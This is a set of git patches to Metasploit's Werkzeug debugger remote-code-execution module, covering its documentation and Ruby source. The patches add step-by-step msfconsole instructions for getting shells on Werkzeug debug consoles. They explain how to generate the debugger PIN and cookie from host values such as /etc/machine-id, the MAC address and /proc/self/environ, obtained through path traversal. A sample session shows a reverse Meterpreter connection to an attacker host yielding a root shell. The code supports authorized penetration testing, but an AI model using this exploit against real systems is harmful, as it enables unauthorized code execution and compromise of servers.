+56. Do: `unset TARGETURI`
+57. Do: `unset REQUESTBODY`
+58. Do: `set RPORT 83`
+59. Do: `set TARGET 3`
+60. Do: `set AUTHMODE none`
+61. Do: `set MACADDRESS `
+62. Do: `set MACHINEID `
+63. Do: `run`
+64. You should see a PIN and a cookie being logged then get a shell.
+
+### Werkzeug 0.10.1 (No authentication required) using /debugger (GET)
+
+65. Do: `set TARGETURI /getdownload?file=`
+66. Do: `run`
+67. You should see a PIN and a cookie being logged then get a shell.
+
+### Werkzeug 0.10.1 (no authentication required) using debugger (POST)
+
+68. Do: `set METHOD POST`
+69. Do: `set TARGETURI /postdownload`
+70. Do: `set REQUESTBODY file=`
+71. Do: `run`
+72. You should see a PIN and a cookie being logged then get a shell.
+
+### Werkzeug 3.0.3 using debugger (POST) and known PIN with Basic HTTP Auth
+
+73. Do: `set RPORT 84`
+74. Do: `set TARGET 0`
+75. Do: `set AUTHMODE known-PIN`
+76. Do: `set HTTPUSERNAME admin`
+77. Do: `set HTTPPASSWORD admin`
+78. Do: `set PIN 1234`
+79. Do: `run`
+80. You should see a cookie being logged then get a shell.
+
+### Werkzeug 3.0.3 interactive debugger disabled
+
+81. Do: `set RPORT 85`
+82. Do: `unset AUTHMODE`
+83. Do: `set MACADDRESS `
+84. Do: `set MACHINEID `
+85. Do: `set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py`
+86. Do: `run`
+87. You should see a failure due to the check failing.
## Options
- **TARGETURI**
+### `AUTHMODE`
+
+Method of authentication. Valid values are:
- TARGETURI by default is `/console`, as defined by werkzeug, however it can be changed within the python script.
+- `generated-cookie`: Cookie generated from information provided about the
+ application's environment. **When this mode is used, the following additional
+ options must be set:**
+ - `APPNAME`: The name of the application according to Werkzeug. This is often
+ `Flask`, `DebuggedApplication` or `wsgi_app`. Used along with other
+ information to generate a PIN and cookie.
+ - `CGROUP`: Control group. This may be an empty string (''), for example if
+ the OS running the app is Linux and supports cgroup v2, or the OS is not
+ Linux. If you have path traversal on Linux, this could be read from
+ `/proc/self/cgroup`
+ - `FLASKPATH`: Path to (and including) `site-packages/flask/app.py`. *If you
+ have triggered the debugger via an exception, it will be at the top of the
+ stack trace. E.g. `/usr/local/lib/python3.12/site-packages/flask/app.py`*.
+ **Note that the file extension may need to be changed to .pyc**
+ - `MACADDRESS`: The MAC address of the system that the application is running
+ on. *If you have path traversal on Linux, this could be read from
+ `/sys/class/net/eth0/`*
+ - `MACHINEID`:
+ - On Linux: *If you have path traversal on Linux, this could be read from
+ /etc/machine-id, or if that doesn't exist,
+ /proc/sys/kernel/random/boot_id.*
+ - On Windows: This is a UUID stored in the registry at
+ `HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid`.
+ - On macOS,: This is the UTF-8 encoded serial number of the system
+ (lower-case hexadecimal), padded to 32 characters. E.g. `N0TAREALSERIAL`
+ becomes
+ `4e3054415245414c53455249414c000000000000000000000000000000000000`. This
+ can be retrieved with the following command
+ `ioreg -c IOPlatformExpertDevice | grep \"serial-number\"`
+ - `MODULENAME`: Name of the application module. Often `flask.app` or
+ `werkzeug.debug`
+ - `SERVICEUSER`: User account name that the service is running under.
+ [This may be an empty string ('') in some cases](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L172)
+ . *If you have path traversal on Linux, you may be able to read this from
+ `/proc/self/environ`*
+- `known-cookie`: Cookie provided by user. **When this mode is used, the
+ following additional option must be set:**
+ - `COOKIE`: The HTTP cookie to use for authentication to the debugger.
+- `known-PIN`: **Does not bypass PIN-locked applications.** PIN provided by
+ user. **When this mode is used, the following additional option must be set:**
+ - `PIN`: Known 6 digit PIN to use for authentication. This can be set to a
+ custom value by the application developer, in which case generating the pin
+ won't work. *However, if you have path traversal, you may be able to
+ retrieve the PIN by reading the application source code, or on Linux by
+ reading `/proc/self/environ` to obtain the value. of the
+ `WERKZEUG_DEBUG_PIN` environment variable. It may also be possible to obtain
+ the PIN by accessing the logging that Werkzeug prints to stdout*.
+- `none`: For applications that don't require authentication. I.e. Werkzeug
+ version 0.10 or lower or PIN authentication has been disabled by the
+ application developer.
+
+### `METHOD`
+
+HTTP method used to access debugger or console. This is typically GET if the
+`TARGETURI` is `/console` but it may be necessary to use other methods to
+trigger the debugger. Valid values are: `GET`, `HEAD`, `POST`, `PUT`, `DELETE`,
+`OPTIONS`, `TRACE` and `PATCH`. **When `METHOD` is `POST`, `PUT` or `PATCH` the
+following additional option may be set:**
+
+- `REQUESTBODY`: Body to send in POST/PUT/PATCH request, if required to trigger
+ the debugger. E.g. invalid form value to raise an exception. **When this is
+ set the following additional option may be set:**
+ - `REQUESTCONTENTTYPE`: Request body encoding. Default:
+ `application/x-www-form-urlencoded`
+
+### `TARGETURI`
+
+The path to the console or resource used to trigger the debugger. Default value
+is `/console`.
+
+### `VHOST`
+
+The value to use in the HTTP `Host` header. It may be necessary to set this to
+`127.0.0.1` or `localhost` if the target Werkzeug version is 3.0.3 or later,
+however this may hamper connectivity if the `Host` header is validated before
+the request is passed to the application.
+
+### `TARGET`
+
+Determines which algorithm the exploit module will use to generate a pin and
+cookie. Valid values are:
+
+- `0`: Werkzeug > 1.0.1 (Flask > 1.1.4)
+- `1`: Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)
+- `2`: Werkzeug 0.11 - 0.11.5 (Flask < 1.0)
+- `3`: Werkzeug < 0.11 (Flask < 1.0)
## Scenarios
Example utilizing the previously mentioned sample app listed above.
```
-msf > use exploit/multi/http/werkzeug_debug_rce
-msf exploit(werkzeug_debug_rce) > set rport 8081
-rport => 8081
-msf exploit(werkzeug_debug_rce) > set rhost 10.108.106.201
-rhost => 10.108.106.201
-msf exploit(werkzeug_debug_rce) > check
-[+] 10.108.106.201:8081 - The target is vulnerable.
-msf exploit(werkzeug_debug_rce) > set payload python/meterpreter/reverse_tcp
-payload => python/meterpreter/reverse_tcp
-msf exploit(werkzeug_debug_rce) > set lhost 10.108.106.121
-lhost => 10.108.106.121
-msf exploit(werkzeug_debug_rce) > exploit
+$ msfconsole -q
+msf6 > use exploit/multi/http/werkzeug_debug_rce
+[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
+msf6 exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.23.5
+RHOSTS => 192.168.23.5
+msf6 exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.168.23.117
+LHOST => 192.168.23.117
+msf6 exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1
+VHOST => 127.0.0.1
+msf6 exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:04
+MACADDRESS => 02:42:ac:12:00:04
+msf6 exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 8d496199-a25e-4340-9c8d-2dc2041c75f8
+MACHINEID => 8d496199-a25e-4340-9c8d-2dc2041c75f8
+msf6 exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py
+FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py
+msf6 exploit(multi/http/werkzeug_debug_rce) > FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py
+[-] Unknown command: FLASKPATH. Run the help command for more details.
+msf6 exploit(multi/http/werkzeug_debug_rce) > run
-[*] Started reverse handler on 10.108.106.121:4444
-[*] Sending stage (25277 bytes) to 10.108.106.201
-[*] Meterpreter session 2 opened (10.108.106.121:4444 -> 10.108.106.201:36720) at 2015-07-09 19:02:52 -0400
+[*] Started reverse TCP handler on 192.168.23.117:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[!] The service is running, but could not be validated.
+[*] Generated authentication PIN: 105-774-671
+[*] Generated authentication cookie: __wzdb0f3242143622dccd6f0=9999999999|3037ec0e9248
+[*] Sending stage (24772 bytes) to 192.168.23.5
+[*] Meterpreter session 1 opened (192.168.23.117:4444 -> 192.168.23.5:62474) at 2024-10-06 19:34:20 +0100
meterpreter > getpid
-Current pid: 13034
+Current pid: 38
meterpreter > getuid
Server username: root
meterpreter > sysinfo
-Computer : werkzeug
-OS : Linux 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt11-1 (2015-05-24)
-Architecture : x86_64
-Meterpreter : python/python
+Computer : 3eb759665d5f
+OS : Linux 6.6.51-0-virt #1-Alpine SMP PREEMPT_DYNAMIC 2024-09-12 12:56:22
+Architecture : aarch64
+System Language : C
+Meterpreter : python/linux
meterpreter > shell
-Process 13037 created.
-Channel 0 created.
-/bin/sh: 0: can't access tty; job control turned off
-# ls
-app.py app.pyc werkzeug
-# exit
-meterpreter > exit
-[*] Shutting down Meterpreter...
+Process 41 created.
+Channel 1 created.
+
+ls
+app.py
+bin
+boot
+dev
+etc
+home
+lib
+media
+mnt
+opt
+proc
+report.txt
+root
+run
+sbin
+srv
+sys
+tmp
+usr
+var
+exit
```
+
+## Credits
+
+- 2015 - h00die (mike[at]shorebreaksecurity.com)
+ - Initial module targetting versions 0.10 and older of Werkzeug that do not require authentication.
+- 2024 - Graeme Robinson (metasploit[at]grobinson.me/@GraSec)
+ - Support up to and including version 3.0.3 of Werkzeug via 3 different authentication mechanisms:
+ - Generated Cookie (bypasses PIN-lock)
+ - Known-Cookie (bypasses PIN-lock)
+ - Known-PIN
From 8ad38f1d1aa79434ff3d4b76f08fa0f873636117 Mon Sep 17 00:00:00 2001
From: Graeme Robinson
Date: Sun, 6 Oct 2024 20:43:25 +0100
Subject: [PATCH 03/10] Appease the linter when checking werkzeug_debug_rce.rb
---
modules/exploits/multi/http/werkzeug_debug_rce.rb | 14 +++++---------
1 file changed, 5 insertions(+), 9 deletions(-)
diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb
index 2e0ef84a9f6c..a868c3e4d3af 100644
--- a/modules/exploits/multi/http/werkzeug_debug_rce.rb
+++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb
@@ -178,19 +178,15 @@ def config_valid?
end
# Check for valid MAC address
unless MAC_PATTERN =~ datastore['MACADDRESS']
- fail_with(
- Failure::BadConfig, "#{datastore['MACADDRESS']} is not a valid MAC address"
- )
+ fail_with(Failure::BadConfig, "#{datastore['MACADDRESS']} is not a valid MAC address")
end
end
# Check that requestbody is not specified if method doesn't support it
return unless datastore['REQUESTBODY'] && !METHODS_WITH_BODY.include?(datastore['METHOD'])
- fail_with(
- Failure::BadConfig,
- "REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body"
- )
+ fail_with(Failure::BadConfig,
+ "REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body")
end
# Retrieve secret and frame
@@ -230,8 +226,8 @@ def cookies(secret)
)
finish = Process.clock_gettime(Process::CLOCK_MONOTONIC)
unless res
- print_error "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}"
- fail_with(Failure::TimeoutExpired)
+ fail_with(Failure::TimeoutExpired,
+ "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}")
end
if res.get_json_document['exhausted']
fail_with(Failure::NoAccess,
From 255ab5c3ffd2c2f8bf49c06ed0aa2f0db0c4326f Mon Sep 17 00:00:00 2001
From: Graeme Robinson
Date: Mon, 7 Oct 2024 10:31:03 +0100
Subject: [PATCH 04/10] Change some messages from vprint to print
werkzeug_debug_rce.rb
---
modules/exploits/multi/http/werkzeug_debug_rce.rb | 10 +++++-----
1 file changed, 5 insertions(+), 5 deletions(-)
diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb
index a868c3e4d3af..a4ea4ef2d27a 100644
--- a/modules/exploits/multi/http/werkzeug_debug_rce.rb
+++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb
@@ -309,21 +309,21 @@ def check
return Exploit::CheckCode::Unknown
end
unless match[:evalex_enabled]
- vprint_error 'Debugger does not allow code execution'
+ print_error 'Debugger does not allow code execution'
return Exploit::CheckCode::Safe # blud
end
- vprint_status 'Debugger allows code execution'
+ print_status 'Debugger allows code execution'
if match[:pin_required]
- vprint_warning 'Debugger requires authentication'
+ print_warning 'Debugger requires authentication'
return Exploit::CheckCode::Detected
end
- vprint_status 'Debugger does not require authentication'
+ print_status 'Debugger does not require authentication'
# Now check whether code execution is possible by evaluating '1'
unless check_code_exec(match[:secret], match[:frame] || 0)
vprint_error 'Attempted code execution failed'
Exploit::CheckCode::Safe
end
- vprint_status 'Code execution was successful'
+ print_status 'Code execution was successful'
Exploit::CheckCode::Vulnerable
end
From 3e422c235bc2b480641011034cafc8cc509bfcd6 Mon Sep 17 00:00:00 2001
From: Graeme Robinson
Date: Mon, 7 Oct 2024 10:59:29 +0100
Subject: [PATCH 05/10] Use random number to check for code execution in
werkzeug_debug_rce.rb
Co-authored-by: Julien Voisin
---
modules/exploits/multi/http/werkzeug_debug_rce.rb | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb
index a4ea4ef2d27a..c429715ecf4e 100644
--- a/modules/exploits/multi/http/werkzeug_debug_rce.rb
+++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb
@@ -298,7 +298,8 @@ def execute_python(cmd, secret, frame, cookies = '')
end
def check_code_exec(secret, frame, cookies = '')
- execute_python(1, secret, frame, cookies).body.start_with? ">>> 1\n"
+ canary = rand()
+ execute_python(canary, secret, frame, cookies).body.start_with? ">>> #{canary}"
end
def check
From f3bb48f2773a11f8017dba9a6737e7fc63088018 Mon Sep 17 00:00:00 2001
From: Graeme Robinson
Date: Mon, 7 Oct 2024 11:56:16 +0100
Subject: [PATCH 06/10] Update werkzeug_debug_rce documentation to include new
logged messages
---
.../modules/exploit/multi/http/werkzeug_debug_rce.md | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md
index ace0d35cf95f..04a5a83a9f6b 100644
--- a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md
+++ b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md
@@ -556,12 +556,12 @@ msf6 exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 8d496199-a25e-4340-9
MACHINEID => 8d496199-a25e-4340-9c8d-2dc2041c75f8
msf6 exploit(multi/http/werkzeug_debug_rce) > set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py
FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py
-msf6 exploit(multi/http/werkzeug_debug_rce) > FLASKPATH => /usr/local/lib/python3.12/site-packages/flask/app.py
-[-] Unknown command: FLASKPATH. Run the help command for more details.
msf6 exploit(multi/http/werkzeug_debug_rce) > run
-[*] Started reverse TCP handler on 192.168.23.117:4444
+[*] Started reverse TCP handler on 192.168.23.117:4444
[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Debugger allows code execution
+[!] Debugger requires authentication
[!] The service is running, but could not be validated.
[*] Generated authentication PIN: 105-774-671
[*] Generated authentication cookie: __wzdb0f3242143622dccd6f0=9999999999|3037ec0e9248
From f17fc282bcbf84bb74381ea83147e35a325ac14e Mon Sep 17 00:00:00 2001
From: Graeme Robinson
Date: Sun, 13 Oct 2024 00:19:50 +0100
Subject: [PATCH 07/10] Made suggested changes to werkzeug_debug_rce.rb
---
.../exploits/multi/http/werkzeug_debug_rce.rb | 57 +++++++++----------
1 file changed, 26 insertions(+), 31 deletions(-)
diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb
index c429715ecf4e..0ea3173c1e8b 100644
--- a/modules/exploits/multi/http/werkzeug_debug_rce.rb
+++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb
@@ -67,7 +67,7 @@ def initialize(info = {})
],
'Arch' => ARCH_PYTHON,
'DefaultTarget' => 0,
- 'DisclosureDate' => 'Jun 28, 2015',
+ 'DisclosureDate' => '2015-06-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
@@ -149,10 +149,10 @@ def all_generation_values_set?
datastore['MACADDRESS'] && datastore['MACHINEID'] && datastore['CGROUP']
end
- def config_valid?
+ def config_invalid?
# Check that target supports selected authentication mode
if datastore['TARGET'] == 3 && datastore['AUTHMODE'] != 'none'
- fail_with(Failure::BadConfig,
+ return CheckCode::Unknown(
"AUTHMODE is set to '#{datastore['AUTHMODE']}', but TARGET '#{datastore['TARGET']}' does not " \
"require/support authentication. Change TARGET or set AUTHMODE to 'none'")
end
@@ -160,32 +160,32 @@ def config_valid?
case datastore['AUTHMODE']
when 'known-cookie'
unless COOKIE_PATTERN =~ datastore['COOKIE']
- fail_with(Failure::BadConfig,
+ return CheckCode::Unknown(
'AUTHMODE is set to known-cookie, so COOKIE must be set to a valid cookie, e.g. ' \
"'__wzda0b1c2d3e4f5a6b7c8d9=9999999999|a0b1c2d3e4f5'")
end
when 'known-PIN'
unless PIN_PATTERN =~ datastore['PIN']
- fail_with(Failure::BadConfig,
+ return CheckCode::Unknown(
'AUTHMODE is set to known-PIN, so PIN must be set to a number with or without hyphens')
end
when 'generated-cookie'
# Check that *all* values used to generate cookie & pin are set
unless all_generation_values_set?
- fail_with(Failure::BadConfig,
+ return CheckCode::Unknown(
"AUTHMODE is set to #{datastore['AUTHMODE']}, so ALL of the following must be set: " \
'SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP') # Alphabetise
end
# Check for valid MAC address
unless MAC_PATTERN =~ datastore['MACADDRESS']
- fail_with(Failure::BadConfig, "#{datastore['MACADDRESS']} is not a valid MAC address")
+ return CheckCode::Unknown("#{datastore['MACADDRESS']} is not a valid MAC address")
end
end
# Check that requestbody is not specified if method doesn't support it
return unless datastore['REQUESTBODY'] && !METHODS_WITH_BODY.include?(datastore['METHOD'])
- fail_with(Failure::BadConfig,
+ return CheckCode::Unknown(
"REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body")
end
@@ -216,15 +216,15 @@ def secret_and_frame
# Authenticate with PIN to retrieve cookie
def cookies(secret)
- start = Process.clock_gettime(Process::CLOCK_MONOTONIC)
- res = send_request_cgi(
- 'uri' => normalize_uri(target_uri),
- 'vars_get' => { '__debugger__' => 'yes',
- 'cmd' => 'pinauth',
- 'pin' => datastore['PIN'],
- 's' => secret }
- )
- finish = Process.clock_gettime(Process::CLOCK_MONOTONIC)
+ res, duration = Rex::Stopwatch.elapsed_time do
+ send_request_cgi(
+ 'uri' => normalize_uri(target_uri),
+ 'vars_get' => { '__debugger__' => 'yes',
+ 'cmd' => 'pinauth',
+ 'pin' => datastore['PIN'],
+ 's' => secret }
+ )
+ end
unless res
fail_with(Failure::TimeoutExpired,
"Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}")
@@ -235,7 +235,6 @@ def cookies(secret)
'exhausted. The remote application must be restarted to re-enable PIN authentication.')
end
unless COOKIE_PATTERN =~ res.get_cookies
- duration = (finish - start).round(1)
attempts_text = duration < 5 ? 'at least' : 'fewer than'
fail_with(Failure::NoAccess,
"Failed to authenticate using PIN: #{datastore['PIN']}. However, the application did not report " \
@@ -303,29 +302,25 @@ def check_code_exec(secret, frame, cookies = '')
end
def check
- config_valid?
+ c = config_invalid?
+ return c if c
match = secret_and_frame
unless match
- print_error 'HTTP response not recognised as Werkzeug'
- return Exploit::CheckCode::Unknown
+ return CheckCode::Unknown('HTTP response not recognised as Werkzeug')
end
unless match[:evalex_enabled]
- print_error 'Debugger does not allow code execution'
- return Exploit::CheckCode::Safe # blud
+ return CheckCode::Safe('Debugger does not allow code execution')
end
print_status 'Debugger allows code execution'
if match[:pin_required]
- print_warning 'Debugger requires authentication'
- return Exploit::CheckCode::Detected
+ return CheckCode::Detected('Debugger requires authentication')
end
print_status 'Debugger does not require authentication'
- # Now check whether code execution is possible by evaluating '1'
+ # Now check whether code execution is possible by evaluating something
unless check_code_exec(match[:secret], match[:frame] || 0)
- vprint_error 'Attempted code execution failed'
- Exploit::CheckCode::Safe
+ return CheckCode::Safe('Attempted code execution failed')
end
- print_status 'Code execution was successful'
- Exploit::CheckCode::Vulnerable
+ CheckCode::Vulnerable('Code execution was successful')
end
def exploit
@@ -345,7 +340,7 @@ def exploit
cookies = generated_cookie
end
- # Check whether code execution is possible by evaluating '1'
+ # Check whether code execution is possible by evaluating something
unless check_code_exec(match[:secret], match[:frame] || 0, cookies)
fail_with(Failure::NoAccess, 'Response indicates that code execution failed')
end
From 3a79c6d70ff24d3f73006dcacb5bb74a8be9d08f Mon Sep 17 00:00:00 2001
From: Graeme Robinson
Date: Sun, 13 Oct 2024 22:36:35 +0100
Subject: [PATCH 08/10] rubocop -a on werkzeug_debug_rce.rb
---
.../exploits/multi/http/werkzeug_debug_rce.rb | 335 ++++++++++--------
1 file changed, 192 insertions(+), 143 deletions(-)
diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb
index 0ea3173c1e8b..54ae5f896c9b 100644
--- a/modules/exploits/multi/http/werkzeug_debug_rce.rb
+++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb
@@ -15,131 +15,169 @@ class MetasploitModule < Msf::Exploit::Remote
PIN_PATTERN = /^[[:digit:]-]+$/.freeze
def initialize(info = {})
- super(update_info(
- info,
- 'Name' => 'Pallete Projects Werkzeug Debugger Remote Code Execution',
- 'Description' => 'This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug ' \
- 'is included with Flask, but not enabled by default. It is also included in other ' \
- 'projects, for example the RunServerPlus extension for Django. It may also be used ' \
- "alone.\n\n" \
- 'The documentation states the following: "The debugger must never be used on production ' \
- 'machines. We cannot stress this enough. Do not enable the debugger in production." Of ' \
- "course this doesn't prevent developers from mistakenly enabling it in production!\n\n" \
- "Tested against the following Werkzeug versions:\n" \
- "- 3.0.3 on Debian 12, Windows 11 and macOS 14.6\n" \
- "- 1.1.4 on Debian 12\n" \
- "- 1.0.1 on Debian 12\n" \
- "- 0.11.5 on Debian 12\n" \
- '- 0.10 on Debian 12',
- 'Author' => ['h00die ',
- 'Graeme Robinson /@GraSec'],
- 'References' => [
- ['URL', 'https://werkzeug.palletsprojects.com/debug/#enabling-the-debugger'],
- ['URL', 'https://flask.palletsprojects.com/debugging/#the-built-in-debugger'],
- ['URL',
- 'https://web.archive.org/web/20150217044248/http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'],
- ['URL',
- 'https://web.archive.org/web/20151124061830/http://werkzeug.pocoo.org/docs/0.11/debug/#enabling-the-debugger'],
- ['URL',
- 'https://github.com/pallets/werkzeug/commit/11ba286a1b907110a2d36f5c05740f239bc7deed?diff=unified&' \
- 'w=0#diff-83867b1c4c9b75c728654ed284dc98f7c8d4e8bd682fc31b977d122dd045178a']
- ],
- 'License' => MSF_LICENSE,
- 'Platform' => ['python'],
- 'Targets' => [
- # pip install werkzeug==3.0.3 flask==3.0.3
- ['Werkzeug > 1.0.1 (Flask > 1.1.4)',
- { digest: Digest::SHA1,
- digest_inputs: :new,
- salt: ' added salt' }],
- # pip install werkzeug==1.0.1 flask==1.1.4
- ['Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)',
- { digest: Digest::MD5,
- digest_inputs: :new,
- salt: 'shittysalt' }],
- # pip install werkzeug==0.11.5 flask==0.12.5
- ['Werkzeug 0.11 - 0.11.5 (Flask < 1.0)',
- { digest: Digest::MD5,
- digest_inputs: :old,
- salt: 'shittysalt' }],
- # pip install werkzeug==0.10 flask==0.12.5
- ['Werkzeug < 0.11 (Flask < 1.0)', {}] # No authentication required in this version
- ],
- 'Arch' => ARCH_PYTHON,
- 'DefaultTarget' => 0,
- 'DisclosureDate' => '2015-06-28',
- 'Notes' => {
- 'Stability' => [CRASH_SAFE],
- 'Reliability' => [REPEATABLE_SESSION],
- 'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS]
- }
- ))
+ super(
+ update_info(
+ info,
+ 'Name' => 'Pallete Projects Werkzeug Debugger Remote Code Execution',
+ 'Description' => 'This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug ' \
+ 'is included with Flask, but not enabled by default. It is also included in other ' \
+ 'projects, for example the RunServerPlus extension for Django. It may also be used ' \
+ "alone.\n\n" \
+ 'The documentation states the following: "The debugger must never be used on production ' \
+ 'machines. We cannot stress this enough. Do not enable the debugger in production." Of ' \
+ "course this doesn't prevent developers from mistakenly enabling it in production!\n\n" \
+ "Tested against the following Werkzeug versions:\n" \
+ "- 3.0.3 on Debian 12, Windows 11 and macOS 14.6\n" \
+ "- 1.1.4 on Debian 12\n" \
+ "- 1.0.1 on Debian 12\n" \
+ "- 0.11.5 on Debian 12\n" \
+ '- 0.10 on Debian 12',
+ 'Author' => [
+ 'h00die ',
+ 'Graeme Robinson /@GraSec'
+ ],
+ 'References' => [
+ ['URL', 'https://werkzeug.palletsprojects.com/debug/#enabling-the-debugger'],
+ ['URL', 'https://flask.palletsprojects.com/debugging/#the-built-in-debugger'],
+ [
+ 'URL',
+ 'https://web.archive.org/web/20150217044248/http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'
+ ],
+ [
+ 'URL',
+ 'https://web.archive.org/web/20151124061830/http://werkzeug.pocoo.org/docs/0.11/debug/#enabling-the-debugger'
+ ],
+ [
+ 'URL',
+ 'https://github.com/pallets/werkzeug/commit/11ba286a1b907110a2d36f5c05740f239bc7deed?diff=unified&' \
+ 'w=0#diff-83867b1c4c9b75c728654ed284dc98f7c8d4e8bd682fc31b977d122dd045178a'
+ ]
+ ],
+ 'License' => MSF_LICENSE,
+ 'Platform' => ['python'],
+ 'Targets' => [
+ # pip install werkzeug==3.0.3 flask==3.0.3
+ [
+ 'Werkzeug > 1.0.1 (Flask > 1.1.4)',
+ {
+ digest: Digest::SHA1,
+ digest_inputs: :new,
+ salt: ' added salt'
+ }
+ ],
+ # pip install werkzeug==1.0.1 flask==1.1.4
+ [
+ 'Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)',
+ {
+ digest: Digest::MD5,
+ digest_inputs: :new,
+ salt: 'shittysalt'
+ }
+ ],
+ # pip install werkzeug==0.11.5 flask==0.12.5
+ [
+ 'Werkzeug 0.11 - 0.11.5 (Flask < 1.0)',
+ {
+ digest: Digest::MD5,
+ digest_inputs: :old,
+ salt: 'shittysalt'
+ }
+ ],
+ # pip install werkzeug==0.10 flask==0.12.5
+ ['Werkzeug < 0.11 (Flask < 1.0)', {}] # No authentication required in this version
+ ],
+ 'Arch' => ARCH_PYTHON,
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => '2015-06-28',
+ 'Notes' => {
+ 'Stability' => [CRASH_SAFE],
+ 'Reliability' => [REPEATABLE_SESSION],
+ 'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS]
+ }
+ )
+ )
register_options(
- [OptEnum.new('AUTHMODE', [true, 'Authentication mode', 'generated-cookie',
- %w[generated-cookie known-cookie known-PIN none]]),
- OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', %w[GET HEAD POST PUT DELETE OPTIONS TRACE PATCH]]),
- OptString.new('TARGETURI', [true, 'URI to the console or debugger', '/console']),
+ [
+ OptEnum.new('AUTHMODE', [
+ true, 'Authentication mode', 'generated-cookie',
+ %w[generated-cookie known-cookie known-PIN none]
+ ]),
+ OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', %w[GET HEAD POST PUT DELETE OPTIONS TRACE PATCH]]),
+ OptString.new('TARGETURI', [true, 'URI to the console or debugger', '/console']),
- # Options for using a known cookie/PIN
- OptString.new('PIN', [false, 'PIN to use for authentication. This can be set to a custom value by the ' \
- "application developer, in which case generating the pin won't work, but if you" \
- 'have path traversal, you may be able to retrieve this pin by reading the ' \
- 'application source code, or, on Linux by reading /proc/self/environ to obtain ' \
- 'the value of the WERKZEUG_DEBUG_PIN environment variable', nil],
- conditions: %w[AUTHMODE == known-PIN]),
- OptString.new('COOKIE', [false, 'Cookie to use for authentication', nil],
- conditions: %w[AUTHMODE == known-cookie]),
+ # Options for using a known cookie/PIN
+ OptString.new('PIN', [
+ false, 'PIN to use for authentication. This can be set to a custom value by the ' \
+ "application developer, in which case generating the pin won't work, but if you" \
+ 'have path traversal, you may be able to retrieve this pin by reading the ' \
+ 'application source code, or, on Linux by reading /proc/self/environ to obtain ' \
+ 'the value of the WERKZEUG_DEBUG_PIN environment variable', nil
+ ],
+ conditions: %w[AUTHMODE == known-PIN]),
+ OptString.new('COOKIE', [false, 'Cookie to use for authentication', nil],
+ conditions: %w[AUTHMODE == known-cookie]),
- # Options for generating cookie/PIN
- OptString.new('APPNAME', [false, 'Name of the app. Often Flask, DebuggedApplication or wsgi_app', 'Flask'],
- conditions: %w[AUTHMODE == generated-cookie]),
- # https://stackoverflow.com/questions/69002675/on-debian-11-bullseye-proc-self-cgroup-inside-a-docker-container-does-not-sho
- # https://stackoverflow.com/questions/68816329/how-to-get-docker-container-id-from-within-the-container-with-cgroup-v2
- OptString.new('CGROUP', [false,
- "Control group. This may be an empty string (''), for example if the OS running the " \
- 'app is Linux and supports cgroup v2, or the OS is not Linux. If you have path ' \
- 'traversal on Linux, this could be read from /proc/self/cgroup',
- ''], conditions: %w[AUTHMODE == generated-cookie]),
- OptString.new('FLASKPATH', [false,
- 'Path to (and including) site-packages/flask/app.py. If you have triggered the ' \
